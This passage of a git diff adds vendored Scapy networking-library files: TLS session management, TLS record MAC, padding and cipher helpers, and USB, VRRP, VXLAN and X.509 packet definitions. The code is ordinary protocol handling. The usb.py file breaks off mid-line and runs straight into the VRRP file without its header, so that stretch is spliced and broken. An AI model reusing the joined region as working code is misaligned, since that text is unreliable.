calling a raw() calling + in turn another raw(), which would unfreeze the session too soon. + """ + s = self.tls_session + rcs_snap = s.rcs.snapshot() + wcs_snap = s.wcs.snapshot() + rpc_snap = self.raw_packet_cache + rpcf_snap = self.raw_packet_cache_fields + + s.wcs = self.rcs_snap_init + + self.raw_packet_cache = None + previous_freeze_state = s.frozen + s.frozen = True + built_packet = super(_GenericTLSSessionInheritance, self).__bytes__() + s.frozen = previous_freeze_state + + s.rcs = rcs_snap + s.wcs = wcs_snap + self.raw_packet_cache = rpc_snap + self.raw_packet_cache_fields = rpcf_snap + + return built_packet + __str__ = __bytes__ + + def show2(self): + """ + Rebuild the TLS packet with the same context, and then .show() it. + We need self.__class__ to call the subclass in a dynamic way. + + Howether we do not want the tls_session.{r,w}cs.seq_num to be updated. + We have to bring back the init states (it's possible the cipher context + has been updated because of parsing) but also to keep the current state + and restore it afterwards (the raw() call may also update the states). + """ + s = self.tls_session + rcs_snap = s.rcs.snapshot() + wcs_snap = s.wcs.snapshot() + + s.rcs = self.rcs_snap_init + + built_packet = raw(self) + s.frozen = True + self.__class__(built_packet, tls_session=s).show() + s.frozen = False + + s.rcs = rcs_snap + s.wcs = wcs_snap + + def mysummary(self): + return "TLS %s / %s" % (repr(self.tls_session), + getattr(self, "_name", self.name)) + + +############################################################################### +# Multiple TLS sessions # +############################################################################### + +class _tls_sessions(object): + def __init__(self): + self.sessions = {} + self.server_rsa_key = None + + def add(self, session): + s = self.find(session) + if s: + log_runtime.info("TLS: previous session shall not be overwritten") + return + + h = session.hash() + if h in self.sessions: + self.sessions[h].append(session) + else: + self.sessions[h] = [session] + + def rem(self, session): + s = self.find(session) + if s: + log_runtime.info("TLS: previous session shall not be overwritten") + return + + h = session.hash() + self.sessions[h].remove(session) + + def find(self, session): + try: + h = session.hash() + except Exception: + return None + if h in self.sessions: + for k in self.sessions[h]: + if k.eq(session): + if conf.tls_verbose: + log_runtime.info("TLS: found session matching %s", k) + return k + if conf.tls_verbose: + log_runtime.info("TLS: did not find session matching %s", session) + return None + + def __repr__(self): + res = [("First endpoint", "Second endpoint", "Session ID")] + for l in six.itervalues(self.sessions): + for s in l: + src = "%s[%d]" % (s.ipsrc, s.sport) + dst = "%s[%d]" % (s.ipdst, s.dport) + sid = repr(s.sid) + if len(sid) > 12: + sid = sid[:11] + "..." + res.append((src, dst, sid)) + colwidth = (max(len(y) for y in x) for x in zip(*res)) + fmt = " ".join(map(lambda x: "%%-%ds" % x, colwidth)) + return "\n".join(map(lambda x: fmt % x, res)) + + +class TLSSession(DefaultSession): + def __init__(self, *args, **kwargs): + server_rsa_key = kwargs.pop("server_rsa_key", None) + super(TLSSession, self).__init__(*args, **kwargs) + self._old_conf_status = conf.tls_session_enable + conf.tls_session_enable = True + if server_rsa_key: + conf.tls_sessions.server_rsa_key = server_rsa_key + + def toPacketList(self): + conf.tls_session_enable = self._old_conf_status + return super(TLSSession, self).toPacketList() + + +conf.tls_sessions = _tls_sessions() +conf.tls_session_enable = False +conf.tls_verbose = False diff --git a/libs/scapy/layers/tls/tools.py b/libs/scapy/layers/tls/tools.py new file mode 100755 index 0000000..29fba6d --- /dev/null +++ b/libs/scapy/layers/tls/tools.py @@ -0,0 +1,225 @@ +# This file is part of Scapy +# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard +# 2015, 2016, 2017 Maxence Tury +# This program is published under a GPLv2 license + +""" +TLS helpers, provided as out-of-context methods. +""" + +from __future__ import absolute_import +import struct + +from scapy.compat import orb, chb +from scapy.error import warning +from scapy.fields import (ByteEnumField, ShortEnumField, + FieldLenField, StrLenField) +from scapy.packet import Packet + +from scapy.layers.tls.basefields import _tls_type, _tls_version + + +class TLSPlaintext(Packet): + name = "TLS Plaintext" + fields_desc = [ByteEnumField("type", None, _tls_type), + ShortEnumField("version", None, _tls_version), + FieldLenField("len", None, length_of="data", fmt="!H"), + StrLenField("data", "", + length_from=lambda pkt: pkt.len)] + + +class TLSCompressed(TLSPlaintext): + name = "TLS Compressed" + + +class TLSCiphertext(TLSPlaintext): + name = "TLS Ciphertext" + + +def _tls_compress(alg, p): + """ + Compress p (a TLSPlaintext instance) using compression algorithm instance + alg and return a TLSCompressed instance. + """ + c = TLSCompressed() + c.type = p.type + c.version = p.version + c.data = alg.compress(p.data) + c.len = len(c.data) + return c + + +def _tls_decompress(alg, c): + """ + Decompress c (a TLSCompressed instance) using compression algorithm + instance alg and return a TLSPlaintext instance. + """ + p = TLSPlaintext() + p.type = c.type + p.version = c.version + p.data = alg.decompress(c.data) + p.len = len(p.data) + return p + + +def _tls_mac_add(alg, c, write_seq_num): + """ + Compute the MAC using provided MAC alg instance over TLSCiphertext c using + current write sequence number write_seq_num. Computed MAC is then appended + to c.data and c.len is updated to reflect that change. It is the + caller responsibility to increment the sequence number after the operation. + The function has no return value. + """ + write_seq_num = struct.pack("!Q", write_seq_num) + h = alg.digest(write_seq_num + bytes(c)) + c.data += h + c.len += alg.hash_len + + +def _tls_mac_verify(alg, p, read_seq_num): + """ + Verify if the MAC in provided message (message resulting from decryption + and padding removal) is valid. Current read sequence number is used in + the verification process. + + If the MAC is valid: + - The function returns True + - The packet p is updated in the following way: trailing MAC value is + removed from p.data and length is updated accordingly. + + In case of error, False is returned, and p may have been modified. + + Also note that it is the caller's responsibility to update the read + sequence number after the operation. + """ + h_size = alg.hash_len + if p.len < h_size: + return False + received_h = p.data[-h_size:] + p.len -= h_size + p.data = p.data[:-h_size] + + read_seq_num = struct.pack("!Q", read_seq_num) + h = alg.digest(read_seq_num + bytes(p)) + return h == received_h + + +def _tls_add_pad(p, block_size): + """ + Provided with cipher block size parameter and current TLSCompressed packet + p (after MAC addition), the function adds required, deterministic padding + to p.data before encryption step, as it is defined for TLS (i.e. not + SSL and its allowed random padding). The function has no return value. + """ + padlen = -p.len % block_size + padding = chb(padlen) * (padlen + 1) + p.len += len(padding) + p.data += padding + + +def _tls_del_pad(p): + """ + Provided with a just decrypted TLSCiphertext (now a TLSPlaintext instance) + p, the function removes the trailing padding found in p.data. It also + performs some sanity checks on the padding (length, content, ...). False + is returned if one of the check fails. Otherwise, True is returned, + indicating that p.data and p.len have been updated. + """ + + if p.len < 1: + warning("Message format is invalid (padding)") + return False + + padlen = orb(p.data[-1]) + padsize = padlen + 1 + + if p.len < padsize: + warning("Invalid padding length") + return False + + if p.data[-padsize:] != chb(padlen) * padsize: + warning("Padding content is invalid %s", repr(p.data[-padsize:])) + return False + + p.data = p.data[:-padsize] + p.len -= padsize + + return True + + +def _tls_encrypt(alg, p): + """ + Provided with an already MACed TLSCompressed packet, and a stream or block + cipher alg, the function converts it into a TLSCiphertext (i.e. encrypts it + and updates length). The function returns a newly created TLSCiphertext + instance. + """ + c = TLSCiphertext() + c.type = p.type + c.version = p.version + c.data = alg.encrypt(p.data) + c.len = len(c.data) + return c + + +def _tls_decrypt(alg, c): + """ + Provided with a TLSCiphertext instance c, and a stream or block cipher alg, + the function decrypts c.data and returns a newly created TLSPlaintext. + """ + p = TLSPlaintext() + p.type = c.type + p.version = c.version + p.data = alg.decrypt(c.data) + p.len = len(p.data) + return p + + +def _tls_aead_auth_encrypt(alg, p, write_seq_num): + """ + Provided with a TLSCompressed instance p, the function applies AEAD + cipher alg to p.data and builds a new TLSCiphertext instance. Unlike + for block and stream ciphers, for which the authentication step is done + separately, AEAD alg does it simultaneously: this is the reason why + write_seq_num is passed to the function, to be incorporated in + authenticated data. Note that it is the caller's responsibility to increment # noqa: E501 + write_seq_num afterwards. + """ + P = bytes(p) + write_seq_num = struct.pack("!Q", write_seq_num) + A = write_seq_num + P[:5] + + c = TLSCiphertext() + c.type = p.type + c.version = p.version + c.data = alg.auth_encrypt(P, A, write_seq_num) + c.len = len(c.data) + return c + + +def _tls_aead_auth_decrypt(alg, c, read_seq_num): + """ + Provided with a TLSCiphertext instance c, the function applies AEAD + cipher alg auth_decrypt function to c.data (and additional data) + in order to authenticate the data and decrypt c.data. When those + steps succeed, the result is a newly created TLSCompressed instance. + On error, None is returned. Note that it is the caller's responsibility to + increment read_seq_num afterwards. + """ + # 'Deduce' TLSCompressed length from TLSCiphertext length + # There is actually no guaranty of this equality, but this is defined as + # such in TLS 1.2 specifications, and it works for GCM and CCM at least. + # + plen = c.len - getattr(alg, "nonce_explicit_len", 0) - alg.tag_len + read_seq_num = struct.pack("!Q", read_seq_num) + A = read_seq_num + struct.pack('!BHH', c.type, c.version, plen) + + p = TLSCompressed() + p.type = c.type + p.version = c.version + p.len = plen + p.data = alg.auth_decrypt(A, c.data, read_seq_num) + + if p.data is None: # Verification failed. + return None + return p diff --git a/libs/scapy/layers/usb.py b/libs/scapy/layers/usb.py new file mode 100755 index 0000000..9d94e33 --- /dev/null +++ b/libs/scapy/layers/usb.py @@ -0,0 +1,244 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# Copyright (C) Gabriel Potter +# This program is published under a GPLv2 license + +""" +Default USB frames & Basic implementation +""" + +# TODO: support USB headers for Linux and Darwin (usbmon/netmon) +# https://github.com/wireshark/wireshark/blob/master/epan/dissectors/packet-usb.c # noqa: E501 + +import re +import subprocess + +from scapy.config import conf +from scapy.consts import WINDOWS +from scapy.compat import chb, plain_str +from scapy.data import MTU, DLT_USBPCAP +from scapy.error import warning +from scapy.fields import ByteField, XByteField, ByteEnumField, LEShortField, \ + LEShortEnumField, LEIntField, LEIntEnumField, XLELongField, \ + LenField +from scapy.packet import Packet, bind_top_down +from scapy.supersocket import SuperSocket +from scapy.utils import PcapReader + +# USBpcap + +_usbd_status_codes = { + 0x00000000: "Success", + 0x40000000: "Pending", + 0xC0000000: "Halted", + 0x80000000: "Error" +} + +_transfer_types = { + 0x0: "Isochronous", + 0x1: "Interrupt", + 0x2: "Control" +} + +# From https://github.com/wireshark/wireshark/blob/master/epan/dissectors/packet-usb.c # noqa: E501 +_urb_functions = { + 0x0008: "URB_FUNCTION_CONTROL_TRANSFER", + 0x0009: "URB_FUNCTION_BULK_OR_INTERRUPT_TRANSFER", + 0x000A: "URB_FUNCTION_ISOCH_TRANSFER", + 0x000B: "URB_FUNCTION_GET_DESCRIPTOR_FROM_DEVICE", + 0x000C: "URB_FUNCTION_SET_DESCRIPTOR_TO_DEVICE", + 0x000D: "URB_FUNCTION_SET_FEATURE_TO_DEVICE", + 0x000E: "URB_FUNCTION_SET_FEATURE_TO_INTERFACE", + 0x000F: "URB_FUNCTION_SET_FEATURE_TO_ENDPOINT", + 0x0010: "URB_FUNCTION_CLEAR_FEATURE_TO_DEVICE", + 0x0011: "URB_FUNCTION_CLEAR_FEATURE_TO_INTERFACE", + 0x0012: "URB_FUNCTION_CLEAR_FEATURE_TO_ENDPOINT", + 0x0013: "URB_FUNCTION_GET_STATUS_FROM_DEVICE", + 0x0014: "URB_FUNCTION_GET_STATUS_FROM_INTERFACE", + 0x0015: "URB_FUNCTION_GET_STATUS_FROM_ENDPOINT", + 0x0017: "URB_FUNCTION_VENDOR_DEVICE", + 0x0018: "URB_FUNCTION_VENDOR_INTERFACE", + 0x0019: "URB_FUNCTION_VENDOR_ENDPOINT", + 0x001A: "URB_FUNCTION_CLASS_DEVICE", + 0x001B: "URB_FUNCTION_CLASS_INTERFACE", + 0x001C: "URB_FUNCTION_CLASS_ENDPOINT", + 0x001F: "URB_FUNCTION_CLASS_OTHER", + 0x0020: "URB_FUNCTION_VENDOR_OTHER", + 0x0021: "URB_FUNCTION_GET_STATUS_FROM_OTHER", + 0x0022: "URB_FUNCTION_CLEAR_FEATURE_TO_OTHER", + 0x0023: "URB_FUNCTION_SET_FEATURE_TO_OTHER", + 0x0024: "URB_FUNCTION_GET_DESCRIPTOR_FROM_ENDPOINT", + 0x0025: "URB_FUNCTION_SET_DESCRIPTOR_TO_ENDPOINT", + 0x0026: "URB_FUNCTION_GET_CONFIGURATION", + 0x0027: "URB_FUNCTION_GET_INTERFACE", + 0x0028: "URB_FUNCTION_GET_DESCRIPTOR_FROM_INTERFACE", + 0x0029: "URB_FUNCTION_SET_DESCRIPTOR_TO_INTERFACE", + 0x002A: "URB_FUNCTION_GET_MS_FEATURE_DESCRIPTOR", + 0x0032: "URB_FUNCTION_CONTROL_TRANSFER_EX", + 0x0037: "URB_FUNCTION_BULK_OR_INTERRUPT_TRANSFER_USING_CHAINED_MDL", + 0x0002: "URB_FUNCTION_ABORT_PIPE", + 0x001E: "URB_FUNCTION_SYNC_RESET_PIPE_AND_CLEAR_STALL", + 0x0030: "URB_FUNCTION_SYNC_RESET_PIPE", + 0x0031: "URB_FUNCTION_SYNC_CLEAR_STALL", +} + + +class USBpcap(Packet): + name = "USBpcap URB" + fields_desc = [ByteField("headerLen", None), + ByteField("res", 0), + XLELongField("irpId", 0), + LEIntEnumField("usbd_status", 0x0, _usbd_status_codes), + LEShortEnumField("function", 0, _urb_functions), + XByteField("info", 0), + LEShortField("bus", 0), + LEShortField("device", 0), + XByteField("endpoint", 0), + ByteEnumField("transfer", 0, _transfer_types), + LenField("dataLength", None, fmt=" +# Copyright (C) 6WIND +# This program is published under a GPLv2 license + +""" +VRRP (Virtual Router Redundancy Protocol). +""" + +from scapy.packet import Packet, bind_layers +from scapy.fields import BitField, ByteField, FieldLenField, FieldListField, \ + IPField, IP6Field, IntField, MultipleTypeField, StrField, XShortField +from scapy.compat import chb, orb +from scapy.layers.inet import IP, in4_chksum, checksum +from scapy.layers.inet6 import IPv6, in6_chksum +from scapy.error import warning + +IPPROTO_VRRP = 112 + +# RFC 3768 - Virtual Router Redundancy Protocol (VRRP) + + +class VRRP(Packet): + fields_desc = [ + BitField("version", 2, 4), + BitField("type", 1, 4), + ByteField("vrid", 1), + ByteField("priority", 100), + FieldLenField("ipcount", None, count_of="addrlist", fmt="B"), + ByteField("authtype", 0), + ByteField("adv", 1), + XShortField("chksum", None), + FieldListField("addrlist", [], IPField("", "0.0.0.0"), + count_from=lambda pkt: pkt.ipcount), + IntField("auth1", 0), + IntField("auth2", 0)] + + def post_build(self, p, pay): + if self.chksum is None: + ck = checksum(p) + p = p[:6] + chb(ck >> 8) + chb(ck & 0xff) + p[8:] + return p + + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt and len(_pkt) >= 9: + ver_n_type = orb(_pkt[0]) + if ver_n_type >= 48 and ver_n_type <= 57: # Version == 3 + return VRRPv3 + return VRRP + + +# RFC 5798 - Virtual Router Redundancy Protocol (VRRP) Version 3 +class VRRPv3(Packet): + fields_desc = [ + BitField("version", 3, 4), + BitField("type", 1, 4), + ByteField("vrid", 1), + ByteField("priority", 100), + FieldLenField("ipcount", None, count_of="addrlist", fmt="B"), + BitField("res", 0, 4), + BitField("adv", 100, 12), + XShortField("chksum", None), + MultipleTypeField( + [ + (FieldListField("addrlist", [], IPField("", "0.0.0.0"), + count_from=lambda pkt: pkt.ipcount), + lambda p: isinstance(p.underlayer, IP)), + (FieldListField("addrlist", [], IP6Field("", "::"), + count_from=lambda pkt: pkt.ipcount), + lambda p: isinstance(p.underlayer, IPv6)), + ], + StrField("addrlist", "") + ) + ] + + def post_build(self, p, pay): + if self.chksum is None: + if isinstance(self.underlayer, IP): + ck = in4_chksum(112, self.underlayer, p) + elif isinstance(self.underlayer, IPv6): + ck = in6_chksum(112, self.underlayer, p) + else: + warning("No IP(v6) layer to compute checksum on VRRP. Leaving null") # noqa: E501 + ck = 0 + p = p[:6] + chb(ck >> 8) + chb(ck & 0xff) + p[8:] + return p + + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt and len(_pkt) >= 16: + ver_n_type = orb(_pkt[0]) + if ver_n_type < 48 or ver_n_type > 57: # Version != 3 + return VRRP + return VRRPv3 + + +# IPv6 is supported only on VRRPv3 +# Warning: those layers need to be un-binded in the CARP contrib module. +# If you add/remove any, remember to also edit the one in CARP.py +bind_layers(IP, VRRP, proto=IPPROTO_VRRP) +bind_layers(IP, VRRPv3, proto=IPPROTO_VRRP) +bind_layers(IPv6, VRRPv3, nh=IPPROTO_VRRP) diff --git a/libs/scapy/layers/vxlan.py b/libs/scapy/layers/vxlan.py new file mode 100755 index 0000000..b92b6ef --- /dev/null +++ b/libs/scapy/layers/vxlan.py @@ -0,0 +1,98 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Virtual eXtensible Local Area Network (VXLAN) +- RFC 7348 - + +A Framework for Overlaying Virtualized Layer 2 Networks over Layer 3 Networks +http://tools.ietf.org/html/rfc7348 +https://www.ietf.org/id/draft-ietf-nvo3-vxlan-gpe-02.txt + +VXLAN Group Policy Option: +http://tools.ietf.org/html/draft-smith-vxlan-group-policy-00 +""" + +from scapy.packet import Packet, bind_layers, bind_bottom_up, bind_top_down +from scapy.layers.l2 import Ether +from scapy.layers.inet import IP, UDP +from scapy.layers.inet6 import IPv6 +from scapy.fields import FlagsField, XByteField, ThreeBytesField, \ + ConditionalField, ShortField, ByteEnumField, X3BytesField + +_GP_FLAGS = ["R", "R", "R", "A", "R", "R", "D", "R"] + + +class VXLAN(Packet): + name = "VXLAN" + + fields_desc = [ + FlagsField("flags", 0x8, 8, + ['OAM', 'R', 'NextProtocol', 'Instance', + 'V1', 'V2', 'R', 'G']), + ConditionalField( + ShortField("reserved0", 0), + lambda pkt: pkt.flags.NextProtocol, + ), + ConditionalField( + ByteEnumField('NextProtocol', 0, + {0: 'NotDefined', + 1: 'IPv4', + 2: 'IPv6', + 3: 'Ethernet', + 4: 'NSH'}), + lambda pkt: pkt.flags.NextProtocol, + ), + ConditionalField( + ThreeBytesField("reserved1", 0), + lambda pkt: (not pkt.flags.G) and (not pkt.flags.NextProtocol), + ), + ConditionalField( + FlagsField("gpflags", 0, 8, _GP_FLAGS), + lambda pkt: pkt.flags.G, + ), + ConditionalField( + ShortField("gpid", 0), + lambda pkt: pkt.flags.G, + ), + X3BytesField("vni", 0), + XByteField("reserved2", 0), + ] + + # Use default linux implementation port + overload_fields = { + UDP: {'dport': 8472}, + } + + def mysummary(self): + if self.flags.G: + return self.sprintf("VXLAN (vni=%VXLAN.vni% gpid=%VXLAN.gpid%)") + else: + return self.sprintf("VXLAN (vni=%VXLAN.vni%)") + + +bind_layers(UDP, VXLAN, dport=4789) # RFC standard vxlan port +bind_layers(UDP, VXLAN, dport=4790) # RFC standard vxlan-gpe port +bind_layers(UDP, VXLAN, dport=6633) # New IANA assigned port for use with NSH +bind_layers(UDP, VXLAN, dport=8472) # Linux implementation port +bind_layers(UDP, VXLAN, dport=48879) # Cisco ACI +bind_layers(UDP, VXLAN, sport=4789) +bind_layers(UDP, VXLAN, sport=4790) +bind_layers(UDP, VXLAN, sport=6633) +bind_layers(UDP, VXLAN, sport=8472) +# By default, set both ports to the RFC standard +bind_layers(UDP, VXLAN, sport=4789, dport=4789) + +# Dissection +bind_bottom_up(VXLAN, Ether, NextProtocol=0) +bind_bottom_up(VXLAN, IP, NextProtocol=1) +bind_bottom_up(VXLAN, IPv6, NextProtocol=2) +bind_bottom_up(VXLAN, Ether, NextProtocol=3) +bind_bottom_up(VXLAN, Ether, NextProtocol=None) +# Build +bind_top_down(VXLAN, Ether, flags=12, NextProtocol=0) +bind_top_down(VXLAN, IP, flags=12, NextProtocol=1) +bind_top_down(VXLAN, IPv6, flags=12, NextProtocol=2) +bind_top_down(VXLAN, Ether, flags=12, NextProtocol=3) diff --git a/libs/scapy/layers/x509.py b/libs/scapy/layers/x509.py new file mode 100755 index 0000000..3c97868 --- /dev/null +++ b/libs/scapy/layers/x509.py @@ -0,0 +1,1364 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# Enhanced by Maxence Tury +# This program is published under a GPLv2 license + +""" +X.509 certificates. +""" + +from scapy.asn1.mib import conf # loads conf.mib +from scapy.asn1.asn1 import ASN1_Codecs, ASN1_OID, \ + ASN1_IA5_STRING, ASN1_NULL, ASN1_PRINTABLE_STRING, \ + ASN1_UTC_TIME, ASN1_UTF8_STRING +from scapy.asn1.ber import BER_tagging_dec, BER_Decoding_Error +from scapy.asn1packet import ASN1_Packet +from scapy.asn1fields import ASN1F_BIT_STRING, ASN1F_BIT_STRING_ENCAPS, \ + ASN1F_BMP_STRING, ASN1F_BOOLEAN, ASN1F_CHOICE, ASN1F_ENUMERATED, \ + ASN1F_FLAGS, ASN1F_GENERALIZED_TIME, ASN1F_IA5_STRING, ASN1F_INTEGER, \ + ASN1F_ISO646_STRING, ASN1F_NULL, ASN1F_OID, ASN1F_PACKET, \ + ASN1F_PRINTABLE_STRING, ASN1F_SEQUENCE, ASN1F_SEQUENCE_OF, ASN1F_SET_OF, \ + ASN1F_STRING, ASN1F_T61_STRING, ASN1F_UNIVERSAL_STRING, ASN1F_UTC_TIME, \ + ASN1F_UTF8_STRING, ASN1F_badsequence, ASN1F_enum_INTEGER, ASN1F_field, \ + ASN1F_optional +from scapy.packet import Packet +from scapy.fields import PacketField +from scapy.volatile import ZuluTime, GeneralizedTime +from scapy.compat import plain_str + + +class ASN1P_OID(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_OID("oid", "0") + + +class ASN1P_INTEGER(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_INTEGER("number", 0) + + +class ASN1P_PRIVSEQ(ASN1_Packet): + # This class gets used in x509.uts + # It showcases the private high-tag decoding capacities of scapy. + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_IA5_STRING("str", ""), + ASN1F_STRING("int", 0), + explicit_tag=0, + flexible_tag=True) + + +####################### +# RSA packets # +####################### +# based on RFC 3447 + +# It could be interesting to use os.urandom and try to generate +# a new modulus each time RSAPublicKey is called with default values. +# (We might have to dig into scapy field initialization mechanisms...) +# NEVER rely on the key below, which is provided only for debugging purposes. +class RSAPublicKey(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_INTEGER("modulus", 10), + ASN1F_INTEGER("publicExponent", 3)) + + +class RSAOtherPrimeInfo(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_INTEGER("prime", 0), + ASN1F_INTEGER("exponent", 0), + ASN1F_INTEGER("coefficient", 0)) + + +class RSAPrivateKey(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_enum_INTEGER("version", 0, ["two-prime", "multi"]), + ASN1F_INTEGER("modulus", 10), + ASN1F_INTEGER("publicExponent", 3), + ASN1F_INTEGER("privateExponent", 3), + ASN1F_INTEGER("prime1", 2), + ASN1F_INTEGER("prime2", 5), + ASN1F_INTEGER("exponent1", 0), + ASN1F_INTEGER("exponent2", 3), + ASN1F_INTEGER("coefficient", 1), + ASN1F_optional( + ASN1F_SEQUENCE_OF("otherPrimeInfos", None, + RSAOtherPrimeInfo))) + +#################################### +# ECDSA packets # +#################################### +# based on RFC 3279 & 5480 & 5915 + + +class ECFieldID(ASN1_Packet): + # No characteristic-two-field support for now. + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_OID("fieldType", "prime-field"), + ASN1F_INTEGER("prime", 0)) + + +class ECCurve(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_STRING("a", ""), + ASN1F_STRING("b", ""), + ASN1F_optional( + ASN1F_BIT_STRING("seed", None))) + + +class ECSpecifiedDomain(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_enum_INTEGER("version", 1, {1: "ecpVer1"}), + ASN1F_PACKET("fieldID", ECFieldID(), ECFieldID), + ASN1F_PACKET("curve", ECCurve(), ECCurve), + ASN1F_STRING("base", ""), + ASN1F_INTEGER("order", 0), + ASN1F_optional( + ASN1F_INTEGER("cofactor", None))) + + +class ECParameters(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_CHOICE("curve", ASN1_OID("ansip384r1"), + ASN1F_OID, # for named curves + ASN1F_NULL, # for implicit curves + ECSpecifiedDomain) + + +class ECDSAPublicKey(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_BIT_STRING("ecPoint", "") + + +class ECDSAPrivateKey(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_enum_INTEGER("version", 1, {1: "ecPrivkeyVer1"}), + ASN1F_STRING("privateKey", ""), + ASN1F_optional( + ASN1F_PACKET("parameters", None, ECParameters, + explicit_tag=0xa0)), + ASN1F_optional( + ASN1F_PACKET("publicKey", None, + ECDSAPublicKey, + explicit_tag=0xa1))) + + +class ECDSASignature(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_INTEGER("r", 0), + ASN1F_INTEGER("s", 0)) + + +###################### +# X509 packets # +###################### +# based on RFC 5280 + + +# Names # + +class ASN1F_X509_DirectoryString(ASN1F_CHOICE): + # we include ASN1 bit strings for rare instances of x500 addresses + def __init__(self, name, default, **kwargs): + ASN1F_CHOICE.__init__(self, name, default, + ASN1F_PRINTABLE_STRING, ASN1F_UTF8_STRING, + ASN1F_IA5_STRING, ASN1F_T61_STRING, + ASN1F_UNIVERSAL_STRING, ASN1F_BIT_STRING, + **kwargs) + + +class X509_AttributeValue(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_CHOICE("value", ASN1_PRINTABLE_STRING("FR"), + ASN1F_PRINTABLE_STRING, ASN1F_UTF8_STRING, + ASN1F_IA5_STRING, ASN1F_T61_STRING, + ASN1F_UNIVERSAL_STRING) + + +class X509_Attribute(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_OID("type", "2.5.4.6"), + ASN1F_SET_OF("values", + [X509_AttributeValue()], + X509_AttributeValue)) + + +class X509_AttributeTypeAndValue(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_OID("type", "2.5.4.6"), + ASN1F_X509_DirectoryString("value", + ASN1_PRINTABLE_STRING("FR"))) + + +class X509_RDN(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SET_OF("rdn", [X509_AttributeTypeAndValue()], + X509_AttributeTypeAndValue) + + +class X509_OtherName(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_OID("type_id", "0"), + ASN1F_CHOICE("value", None, + ASN1F_IA5_STRING, ASN1F_ISO646_STRING, + ASN1F_BMP_STRING, ASN1F_UTF8_STRING, + explicit_tag=0xa0)) + + +class X509_RFC822Name(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_IA5_STRING("rfc822Name", "") + + +class X509_DNSName(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_IA5_STRING("dNSName", "") + +# XXX write me + + +class X509_X400Address(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_field("x400Address", "") + + +_default_directoryName = [ + X509_RDN(), + X509_RDN( + rdn=[X509_AttributeTypeAndValue( + type="2.5.4.10", + value=ASN1_PRINTABLE_STRING("Scapy, Inc."))]), + X509_RDN( + rdn=[X509_AttributeTypeAndValue( + type="2.5.4.3", + value=ASN1_PRINTABLE_STRING("Scapy Default Name"))]) +] + + +class X509_DirectoryName(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE_OF("directoryName", _default_directoryName, + X509_RDN) + + +class X509_EDIPartyName(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_optional( + ASN1F_X509_DirectoryString("nameAssigner", None, + explicit_tag=0xa0)), + ASN1F_X509_DirectoryString("partyName", None, + explicit_tag=0xa1)) + + +class X509_URI(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_IA5_STRING("uniformResourceIdentifier", "") + + +class X509_IPAddress(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_STRING("iPAddress", "") + + +class X509_RegisteredID(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_OID("registeredID", "") + + +class X509_GeneralName(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_CHOICE("generalName", X509_DirectoryName(), + ASN1F_PACKET("otherName", None, X509_OtherName, + implicit_tag=0xa0), + ASN1F_PACKET("rfc822Name", None, X509_RFC822Name, + implicit_tag=0x81), + ASN1F_PACKET("dNSName", None, X509_DNSName, + implicit_tag=0x82), + ASN1F_PACKET("x400Address", None, X509_X400Address, # noqa: E501 + explicit_tag=0xa3), + ASN1F_PACKET("directoryName", None, X509_DirectoryName, # noqa: E501 + explicit_tag=0xa4), + ASN1F_PACKET("ediPartyName", None, X509_EDIPartyName, # noqa: E501 + explicit_tag=0xa5), + ASN1F_PACKET("uniformResourceIdentifier", None, X509_URI, # noqa: E501 + implicit_tag=0x86), + ASN1F_PACKET("ipAddress", None, X509_IPAddress, + implicit_tag=0x87), + ASN1F_PACKET("registeredID", None, X509_RegisteredID, # noqa: E501 + implicit_tag=0x88)) + + +# Extensions # + +class X509_ExtAuthorityKeyIdentifier(ASN1_Packet): + ASN1_codec = 